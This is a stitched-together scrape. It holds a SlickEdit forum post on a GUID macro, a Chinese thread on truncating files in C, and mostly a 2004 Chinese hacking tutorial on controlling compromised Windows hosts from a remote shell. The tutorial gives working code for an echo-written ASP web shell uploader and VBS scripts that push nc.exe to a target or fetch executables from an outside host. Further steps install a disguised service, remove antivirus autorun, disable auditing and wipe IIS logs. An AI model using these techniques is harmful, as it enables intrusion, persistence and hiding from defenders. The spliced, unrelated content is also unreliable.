|
It appears that ctrl+k clears the vsapi.dll window
http://community.slickedit.com/index.php/topic,202.html « on: July 31, 2006, 05:20:58 PM » The earlier post on uuidgen prompted me to share my own macro implementation that I created for my own use a few months ago. This macro implementation is self-contained, and doesn't shell out to any other utilties. There are 3 commands and 1 function for generating GUIDs: insert_guid(_str format = 'B'); (command)This generates a new GUID, formatted according to format specifier parameter, and inserts it at the current position in the buffer. Default is Brace Format. Use it on the command line like so: insert-guid g copy_guid(_str format = 'B'); (command)Same as above, but places the results on the clipboard. This way you can generate a GUID without having an edit buffer open. On the command line: copy-guid b gui_insert_guid(); (command)Shows a small dialog, allowing you to generate multiple GUIDs, or to insert the same GUID in multiple string formats. _str guid_create_string(_str format); (function)Works the same as insert_guid, but returns the string. For use in your own macro functions and forms. The string formats for GUID output are documented in the source guidgen.e, at the top, in the Javadoc for insert_guid. But to pique your interest... - 'B' - Brace format: {F3410386-1DBB-4035-A293-440A106A6665}
- 'G' - General format: F3410386-1DBB-4035-A293-440A106A6665
- 'P' - Paren format: (F3410386-1DBB-4035-A293-440A106A6665)
- 'N' - Number format: F34103861DBB4035A293440A106A6665
- 'C' - Const declaration: static const GUID <<name>> = { 0xf3410386, 0x1dbb, 0x4035, { 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65 } };
- 'D' - DEFINE_GUID macro: DEFINE_GUID(<<name>>, 0x17342D4B, 0x906F, 0x4706, 0x0F, 0xAC, 0xC5, 0x8E, 0x4D, 0xE7, 0x32, 0x29);
- 'O' - IMPLEMENT_OLECREATE macro: IMPLEMENT_OLECREATE(<<class>>, <<external_name>>, 0xf3410386, 0x1dbb, 0x4035, 0xa2, 0x93, 0x44, 0xa, 0x10, 0x6a, 0x66, 0x65);
In my own testing I have generated over 50,000 GUIDs without a duplicate, so the algorithm looks to be holding up so far. But if you'd like to verify the reliability before using in your own code, I have provided some unit testing commands as well. Open an empy edit buffer and run the following command line: guid-unittest-duplicates 200 , where 200 is the number of GUIDs you want to create. This will populate the buffer with the requested number of GUIDs in brace format using insert_guid('b');. Any number less than 2000 should complete in a reasonable amount of time. 2000 takes around 5 seconds on my Pentium M 2.0 GHz, 1 GB RAM. The results of the unit testing are displayed in the VSAPI message window since it uses the say() funtion. You can run the unit test multiple times in the same edit buffer, and it will append the results to the end of the previous test. For those of you interested in such things, the GUIDs generated are created (and marked) as version 4. This means that all bytes of the GUID were created using a random number, and does not use a MAC address as a basis.
windows下似乎可以調(diào)用API SetFileSize 但是不甚確定,樓主自己查查MSDN吧 呵呵 可以通過(guò)系統(tǒng)提供的API來(lái)設(shè)置文件結(jié)尾, 在Linux下可以包含fcntl.h,使用int chsize(int handle, long size); 在windows下有SetFilePointer SetEndOfFile,請(qǐng)參閱MSDN 這些都是文件稍微底層的操作,所以標(biāo)準(zhǔn)C庫(kù)函數(shù)里面沒(méi)有 #include <io.h> int main(void) { int handle; char buf[11] = "0123456789 "; /* create text file containing 10 bytes */ handle = open( "DUMMY.FIL ", O_CREAT); write(handle, buf, strlen(buf)); /* truncate the file to 5 bytes in size */ chsize(handle, 5); /* close the file */ close(handle); return 0; } 下面 ftruncate 好象是linux上的吧,windows上沒(méi)有
long pos; FILE *file; file=fopen( "filename ", "w+ "); pos=ftell(file); //獲取當(dāng)前文件指針位置
ftruncate(fileno(file),pos); //根據(jù)大小截取文件。
#include "stdafx.h " #include "iostream " #include "stdio.h " #include "stdlib.h " #include "windows.h " #include "io.h "
using namespace std;
int main() { FILE* f = fopen( "a.txt ", "r+ ");
char sz[128];
fgets(sz, 128, f);
HANDLE h = (HANDLE)_get_osfhandle(_fileno(f));
SetFilePointer(h, ftell(f), NULL, FILE_BEGIN); SetEndOfFile(h); fclose(f);
return 0; }
http://v.youku.com/v_show/id_XMjYyOTk4OTgw.html
Do All in Cmd Shell (一切盡在命令行)
http://www.isgrey.com 2004-04-24 -------------------------------------------------------
目錄 1,前言 2,文件傳輸 3,系統(tǒng)配置 4,網(wǎng)絡(luò)配置 5,軟件安裝 6,Windows腳本 7,附言
前言 Cmd Shell(命令行交互)是黑客永恒的話(huà)題,它歷史悠久并且長(zhǎng)盛不衰。 本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的。
文件傳輸 對(duì)于溢出漏洞獲得的cmd shell,最大的問(wèn)題就是如何上傳文件。由于蠕蟲(chóng)病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對(duì)ipc$的保護(hù),通過(guò)ipc$及默認(rèn)共享上傳文件的手段基本無(wú)效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫(xiě)ASP木馬。 前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。 一般的ASP木馬“體積”較大,不適合直接用echo命令寫(xiě)入文件,這里我提供一個(gè)小巧的。 直接給出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中間沒(méi)有回車(chē)符。 生成的up.asp不能用瀏覽器訪(fǎng)問(wèn),只能用下面這個(gè)腳本:
with wscript if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with
將其保存為up.vbs。假設(shè)目標(biāo)IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應(yīng)的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,這個(gè)命令是在本地命令行中執(zhí)行的,不要弄錯(cuò)了。
另外,通過(guò)IIS上傳會(huì)留日志,要記得清除哦。
2,自動(dòng)下載到網(wǎng)頁(yè)緩存中。 例如:
start its:http://www.sometips.com/soft/ps.exe
在遠(yuǎn)程shell中執(zhí)行上面這個(gè)命令后,ps.exe已經(jīng)下載到目標(biāo)主機(jī)的網(wǎng)頁(yè)緩存目錄中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5" dir /s ps[1].exe
于是獲得ps.exe的具體位置(每臺(tái)主機(jī)都不一樣),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
2004-01-24 14:24 49,152 ps[1].exe 1 個(gè)文件 49,152 字節(jié)
最后: copy AB094JIT\ps[1].exe c:\path\ps.exe del AB094JIT\ps[1].exe
補(bǔ)充說(shuō)明: 對(duì)于以服務(wù)為啟動(dòng)方式的后門(mén)所提供的shell,其用戶(hù)身份一般是System。此時(shí)網(wǎng)頁(yè)緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應(yīng)的用戶(hù)名。 本方法會(huì)啟動(dòng)一個(gè)IE進(jìn)程,記得要將它殺掉。如果是System身份的shell,不會(huì)在本地出現(xiàn)窗口而暴露。 另外,用ms-its代替its效果完全一樣。
3,Echo一個(gè)腳本下載web資源。 現(xiàn)成的工具是iGet.vbs。我再給出一個(gè)含必要容錯(cuò)功能的版本。 仍然是echo版:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
舉例——下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過(guò)編碼的任何文件,再用腳本+debug還原。 前面兩個(gè)辦法都不能保證穿過(guò)防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒(méi)有解壓工具,還是沒(méi)轍。那么只有出“殺手锏”了!
echo命令加重定向操作符可以寫(xiě)入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新“編碼”為可顯示的字符,才能方便地寫(xiě)入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫(xiě)文件,但我無(wú)法構(gòu)造出相應(yīng)的數(shù)據(jù)類(lèi)型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過(guò)來(lái)不行。我花了兩天時(shí)間,還是沒(méi)能解決這個(gè)問(wèn)題。如果有誰(shuí)能用vbs或js寫(xiě)任意的字節(jié)數(shù)據(jù)到文件中,懇請(qǐng)賜教。)
無(wú)奈只有請(qǐng)debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"\")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl\65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。 稍等一會(huì)兒,在當(dāng)前目錄下將生成一個(gè)nc.exe.bat。用記事本等編輯工具打開(kāi)它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs @echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs @echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs @echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs ………… …………(省略若干行) ………… @echo +"">>debug.vbs @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。 如果網(wǎng)速不是很慢的話(huà),整個(gè)上傳過(guò)程大約需要20秒。
幾點(diǎn)說(shuō)明: 1,大的文件傳輸不穩(wěn)定,可能會(huì)使shell死掉。所以文件越小效果越好。建議原文件不要超過(guò)100KB。 2,在傳輸大文件前,可以先傳個(gè)小的文件作為“熱身”,讓16位虛擬機(jī)ntvdm.exe駐留后臺(tái)。所有文件傳完后,為隱蔽起見(jiàn),應(yīng)該把ntvdm進(jìn)程殺掉。 3,某些cmd shell每個(gè)命令都需要附加兩個(gè)回車(chē),那nc.exe.bat就不能直接用了。 4,單個(gè)命令的長(zhǎng)度是有限的,所以不能只用一個(gè)echo完成全部任務(wù)。而且,對(duì)于nc提供的cmd shell,稍長(zhǎng)一些的命令竟然會(huì)使shell自動(dòng)退出(溢出了?)。你可以修改"i mod 128=0"語(yǔ)句中的128以調(diào)整每個(gè)echo命令的長(zhǎng)度。每次echo的字符為這個(gè)數(shù)乘以2。 5,解碼過(guò)程沒(méi)有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時(shí)間,我會(huì)寫(xiě)一個(gè)更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。
能上傳文件當(dāng)然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時(shí),不要忘了Windows本身。
系統(tǒng)配置 這節(jié)包括三方面內(nèi)容:注冊(cè)表、服務(wù)和組策略。
先說(shuō)注冊(cè)表。很多命令行下訪(fǎng)問(wèn)注冊(cè)表的工具都是交互式的,溢出產(chǎn)生的shell一般不能再次重定向輸入/輸出流,所以無(wú)法使用。 好在系統(tǒng)自帶的regedit.exe足夠用了。
1,讀取注冊(cè)表 先將想查詢(xún)的注冊(cè)表項(xiàng)導(dǎo)出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber" "PortNumber"=dword:00000d3d
C:\>del 1.reg
所以終端服務(wù)的端口是3389(十六進(jìn)制d3d)
2,修改/刪除注冊(cè)表項(xiàng) 先echo一個(gè)reg文件,然后導(dǎo)入,比如:
echo Windows Registry Editor Version 5.00 >1.reg echo. >>1.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg echo "TelnetPort"=dword:00000913 >>1.reg echo "NTLM"=dword:00000001 >>1.reg echo. >>1.reg regedit /s 1.reg
將telnet服務(wù)端口改為2323(十六進(jìn)制913),NTLM認(rèn)證方式為1。
要?jiǎng)h除一個(gè)項(xiàng),在名字前面加減號(hào),比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要?jiǎng)h除一個(gè)值,在等號(hào)后面用減號(hào),比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KAVRun"=-
3,用inf文件訪(fǎng)問(wèn)注冊(cè)表 上面對(duì)注冊(cè)表的三個(gè)操作,也可以用下面這個(gè)inf文件來(lái)實(shí)現(xiàn):
[Version] Signature="$WINDOWS NT$" [DefaultInstall] AddReg=My_AddReg_Name DelReg=My_DelReg_Name [My_AddReg_Name] HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323 HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1 [My_DelReg_Name] HKLM,SYSTEM\CurrentControlSet\Services\Serv-U HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
將它寫(xiě)入c:\path\reg.inf然后用下面這個(gè)命令“安裝”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
幾點(diǎn)說(shuō)明: 1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個(gè)。My_AddReg_Name和My_DelReg_Name可以自定義。 0x00010001表示REG_DWORD數(shù)據(jù)類(lèi)型,0x00000000或省略該項(xiàng)(保留逗號(hào))表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。 2323也可以用0x913代替。 關(guān)于inf文件的詳細(xì)信息,可以參考DDK幫助文檔。 2,InstallHinfSection是大小寫(xiě)敏感的。它和setupapi之間只有一個(gè)逗號(hào),沒(méi)有空格。 128表示給定路徑,該參數(shù)其他取值及含義參見(jiàn)MSDN。 特別注意,最后一個(gè)參數(shù),必須是inf文件的全路徑,不要用相對(duì)路徑。 3,inf文件中的項(xiàng)目都是大小寫(xiě)不敏感的。
接下來(lái)說(shuō)服務(wù)。如果想啟動(dòng)或停止服務(wù),用net命令就可以。但想增加或刪除服務(wù),需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統(tǒng)沒(méi)有自帶(XP和2003自帶SC)。導(dǎo)入注冊(cè)表雖然可以,但效果不好,原因后面會(huì)提到。還是得靠inf文件出馬。
增加一個(gè)服務(wù):
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] AddService=inetsvr,,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=提供對(duì) Internet 信息服務(wù)管理的支持。 ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%\inetsvr.exe
保存為inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
這個(gè)例子增加一個(gè)名為inetsvr的服務(wù)(是不是很像系統(tǒng)自帶的服務(wù),呵呵)。
幾點(diǎn)說(shuō)明: 1,最后四項(xiàng)分別是 服務(wù)類(lèi)型:0x10為獨(dú)立進(jìn)程服務(wù),0x20為共享進(jìn)程服務(wù)(比如svchost); 啟動(dòng)類(lèi)型:0 系統(tǒng)引導(dǎo)時(shí)加載,1 OS初始化時(shí)加載,2 由SCM(服務(wù)控制管理器)自動(dòng)啟動(dòng),3 手動(dòng)啟動(dòng),4 禁用。 (注意,0和1只能用于驅(qū)動(dòng)程序) 錯(cuò)誤控制:0 忽略,1 繼續(xù)并警告,2 切換到LastKnownGood的設(shè)置,3 藍(lán)屏。 服務(wù)程序位置:%11%表示system32目錄,%10%表示系統(tǒng)目錄(WINNT或Windows),%12%為驅(qū)動(dòng)目錄system32\drivers。其他取值參見(jiàn)DDK。你也可以不用變量,直接使用全路徑。 這四項(xiàng)是必須要有的。 2,除例子中的六個(gè)項(xiàng)目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹了。 3,inetsvr后面有兩個(gè)逗號(hào),因?yàn)橹虚g省略了一個(gè)不常用的參數(shù)flags。
刪除一個(gè)服務(wù):
[Version] Signature="$WINDOWS NT$" [DefaultInstall.Services] DelService=inetsvr
很簡(jiǎn)單,不是嗎?
當(dāng)然,你也可以通過(guò)導(dǎo)入注冊(cè)表達(dá)到目的。但inf自有其優(yōu)勢(shì)。 1,導(dǎo)出一個(gè)系統(tǒng)自帶服務(wù)的注冊(cè)表項(xiàng),你會(huì)發(fā)現(xiàn)其執(zhí)行路徑是這樣的: "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\ 00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00 可讀性太差。其實(shí)它就是%SystemRoot%\system32\tlntsvr.exe,但數(shù)據(jù)類(lèi)型是REG_EXPAND_SZ。當(dāng)手動(dòng)導(dǎo)入注冊(cè)表以增加服務(wù)時(shí),這樣定義ImagePath顯然很不方便。如果用REG_SZ代替會(huì)有些問(wèn)題——不能用環(huán)境變量了。即只能使用完整路徑。用inf文件完全沒(méi)有這個(gè)問(wèn)題,ServiceBinary(即ImagePath)自動(dòng)成為REG_EXPAND_SZ。 2,最關(guān)鍵的是,和用SC等工具一樣,inf文件的效果是即時(shí)起效的,而導(dǎo)入reg后必須重啟才有效。 3,inf文件會(huì)自動(dòng)為服務(wù)的注冊(cè)表項(xiàng)添加一個(gè)Security子鍵,使它看起來(lái)更像系統(tǒng)自帶的服務(wù)。
另外,AddService和DelService以及AddReg、DelReg可以同時(shí)且重復(fù)使用。即可以同時(shí)增加和刪除多個(gè)服務(wù)和注冊(cè)表項(xiàng)。詳細(xì)的內(nèi)容還是請(qǐng)查看DDK。
最后說(shuō)說(shuō)組策略。組策略是建立Windows安全環(huán)境的重要手段,尤其是在Windows域環(huán)境下。一個(gè)出色的系統(tǒng)管理員,應(yīng)該能熟練地掌握并應(yīng)用組策略。在窗口界面下訪(fǎng)問(wèn)組策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令語(yǔ)法: secedit /analyze secedit /configure secedit /export secedit /validate secedit /refreshpolicy 5個(gè)命令的功能分別是分析組策略、配置組策略、導(dǎo)出組策略、驗(yàn)證模板語(yǔ)法和更新組策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。這些命令具體的語(yǔ)法自己在命令行下查看就知道了。
與訪(fǎng)問(wèn)注冊(cè)表只需reg文件不同的是,訪(fǎng)問(wèn)組策略除了要有個(gè)模板文件(還是inf),還需要一個(gè)安全數(shù)據(jù)庫(kù)文件(sdb)。要修改組策略,必須先將模板導(dǎo)入安全數(shù)據(jù)庫(kù),再通過(guò)應(yīng)用安全數(shù)據(jù)庫(kù)來(lái)刷新組策略。來(lái)看個(gè)例子:
假設(shè)我要將密碼長(zhǎng)度最小值設(shè)置為6,并啟用“密碼必須符合復(fù)雜性要求”,那么先寫(xiě)這么一個(gè)模板:
[version] signature="$CHICAGO$" [System Access] MinimumPasswordLength = 6 PasswordComplexity = 1
保存為gp.inf,然后導(dǎo)入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
這個(gè)命令執(zhí)行完成后,將在當(dāng)前目錄產(chǎn)生一個(gè)gp.sdb,它是“中間產(chǎn)品”,你可以刪除它。 /quiet參數(shù)表示“安靜模式”,不產(chǎn)生日志。但根據(jù)我的試驗(yàn),在2000sp4下該參數(shù)似乎不起作用,XP下正常。日志總是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便隨后刪除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log del gp.*
另外,在導(dǎo)入模板前,還可以先分析語(yǔ)法是否正確:
secedit /validate gp.inf
那么,如何知道具體的語(yǔ)法呢?當(dāng)然到MSDN里找啦。也有偷懶的辦法,因?yàn)橄到y(tǒng)自帶了一些安全模板,在%windir%\security\templates目錄下。打開(kāi)這些模板,基本上包含了常用的安全設(shè)置語(yǔ)法,一看就懂。
再舉個(gè)例子——關(guān)閉所有的“審核策略”。(它所審核的事件將記錄在事件查看器的“安全性”里)。 echo版:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Event Audit] >>1.inf echo AuditSystemEvents=0 >>1.inf echo AuditObjectAccess=0 >>1.inf echo AuditPrivilegeUse=0 >>1.inf echo AuditPolicyChange=0 >>1.inf echo AuditAccountManage=0 >>1.inf echo AuditProcessTracking=0 >>1.inf echo AuditDSAccess=0 >>1.inf echo AuditAccountLogon=0 >>1.inf echo AuditLogonEvents=0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet del 1.*
也許有人會(huì)說(shuō):組策略不是保存在注冊(cè)表中嗎,為什么不直接修改注冊(cè)表?因?yàn)椴皇撬械慕M策略都保存在注冊(cè)表中。比如“審核策略”就不是。你可以用regsnap比較修改該策略前后注冊(cè)表的變化。我測(cè)試的結(jié)果是什么都沒(méi)有改變。只有“管理模板”這一部分是完全基于注冊(cè)表的。而且,知道了具體位置,用哪個(gè)方法都不復(fù)雜。
比如,XP和2003的“本地策略”-》“安全選項(xiàng)”增加了一個(gè)“本地帳戶(hù)的共享和安全模式”策略。XP下默認(rèn)的設(shè)置是“僅來(lái)賓”。這就是為什么用管理員帳號(hào)連接X(jué)P的ipc$仍然只有Guest權(quán)限的原因。可以通過(guò)導(dǎo)入reg文件修改它為“經(jīng)典”:
echo Windows Registry Editor Version 5.00 >1.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg echo "forceguest"=dword:00000000 >>1.reg regedit /s 1.reg del 1.reg
而相應(yīng)的用inf,應(yīng)該是:
echo [version] >1.inf echo signature="$CHICAGO$" >>1.inf echo [Registry Values] >>1.inf echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf secedit /configure /db 1.sdb /cfg 1.inf /log 1.log del 1.*
關(guān)于命令行下讀取組策略的問(wèn)題。 系統(tǒng)默認(rèn)的安全數(shù)據(jù)庫(kù)位于%windir%\security\database\secedit.sdb,將它導(dǎo)出至inf文件:
secedit /export /cfg gp.inf /log 1.log
沒(méi)有用/db參數(shù)指定數(shù)據(jù)庫(kù)就是采用默認(rèn)的。然后查看gp.inf。
不過(guò),這樣得到的只是組策略的一部分(即“Windows設(shè)置”)。而且,某個(gè)策略如果未配置,是不會(huì)被導(dǎo)出的。比如“重命名系統(tǒng)管理員帳戶(hù)”,只有被定義了才會(huì)在inf文件中出現(xiàn)NewAdministratorName="xxx"。對(duì)于無(wú)法導(dǎo)出的其他的組策略只有通過(guò)訪(fǎng)問(wèn)注冊(cè)表來(lái)獲得了。
此辦法在XP和2003下無(wú)效——可以導(dǎo)出但內(nèi)容基本是空的。原因不明。根據(jù)官方的資料,XP和2003顯示組策略用RSoP(組策略結(jié)果集)。相應(yīng)的命令行工具是gpresult。但是,它獲得的是在系統(tǒng)啟動(dòng)時(shí)被附加(來(lái)自域)的組策略,單機(jī)測(cè)試結(jié)果還是“空”。所以,如果想知道某些組策略是否被設(shè)置,只有先寫(xiě)一個(gè)inf,再用secedit /analyze,然后查看日志了。
網(wǎng)絡(luò)配置 Windows自帶的關(guān)于網(wǎng)絡(luò)的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,還有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh…… 這些命令又可分成三類(lèi):網(wǎng)絡(luò)檢測(cè)(如ping)、網(wǎng)絡(luò)連接(如telnet)和網(wǎng)絡(luò)配置(如netsh)。前面兩種相對(duì)簡(jiǎn)單,本文只介紹兩個(gè)網(wǎng)絡(luò)配置工具。
netsh 在遠(yuǎn)程shell中使用netsh首先要解決一個(gè)交互方式的問(wèn)題。前面說(shuō)過(guò),很多shell不能再次重定向輸出輸出,所以不能在這種環(huán)境下交互地使用ftp等命令行工具。解決的辦法是,一般交互式的工具都允許使用腳本(或者叫應(yīng)答文件)。比如ftp -s:filename。netsh也是這樣:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服務(wù)器,TCP/IP協(xié)議,IPX協(xié)議,路由等。我們不是管理員,一般沒(méi)必要了解這么多,只需用netsh來(lái)了解目標(biāo)主機(jī)的網(wǎng)絡(luò)配置信息。
1,TCP/IP配置
echo interface ip >s echo show config >>s netsh -f s del s
由此你可以了解該主機(jī)有多個(gè)網(wǎng)卡和IP,是否是動(dòng)態(tài)分配IP(DHCP),內(nèi)網(wǎng)IP是多少(如果有的話(huà))。 這個(gè)命令和ipconfig /all差不多。
注意,以下命令需要目標(biāo)主機(jī)啟動(dòng)remoteaccess服務(wù)。如果它被禁用,請(qǐng)先通過(guò)導(dǎo)入注冊(cè)表解禁,然后 net start remoteaccess
2,ARP
echo interface ip >s echo show ipnet >>s netsh -f s del s
這個(gè)比arp -a命令多一點(diǎn)信息。
3,TCP/UDP連接
echo interface ip >s echo show tcpconn >>s echo show udpconn >>s netsh -f s del s
這組命令和netstat -an一樣。
4,網(wǎng)卡信息 如果netsh命令都有其他命令可代替,那它還有什么存在的必要呢?下面這個(gè)就找不到代替的了。
echo interface ip >s echo show interface >>s netsh -f s del s
netsh的其他功能,比如修改IP,一般沒(méi)有必要使用(萬(wàn)一改了IP后連不上,就“叫天不應(yīng)叫地不靈”了),所以全部略過(guò)。
IPSec 首先需要指出的是,IPSec和TCP/IP篩選是不同的東西,大家不要混淆了。TCP/IP篩選的功能十分有限,遠(yuǎn)不如IPSec靈活和強(qiáng)大。下面就說(shuō)說(shuō)如何在命令行下控制IPSec。
XP系統(tǒng)用ipseccmd,2000下用ipsecpol。遺憾的是,它們都不是系統(tǒng)自帶的。ipseccmd在xp系統(tǒng)安裝盤(pán)的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol還必須帶上另外兩個(gè)文件:ipsecutil.dll和text2pol.dll。三個(gè)文件一共119KB。
IPSec可以通過(guò)組策略來(lái)控制,但我找遍MSDN,也沒(méi)有找到相應(yīng)的安全模板的語(yǔ)法。已經(jīng)配置好的IPSec策略也不能被導(dǎo)出為模板。所以,組策略這條路走不通。IPSec的設(shè)置保存在注冊(cè)表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理論上可以通過(guò)修改注冊(cè)表來(lái)配置IPSec。但很多信息以二進(jìn)制形式存放,讀取和修改都很困難。相比之下,上傳命令行工具更方便。
關(guān)于ipsecpol和ipseccmd的資料,網(wǎng)上可以找到很多,因此本文就不細(xì)說(shuō)了,只是列舉一些實(shí)用的例子。 在設(shè)置IPSec策略方面,ipseccmd命令的語(yǔ)法和ipsecpol幾乎完全一樣,所以只以ipsecpol為例:
1,防御rpc-dcom攻擊
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
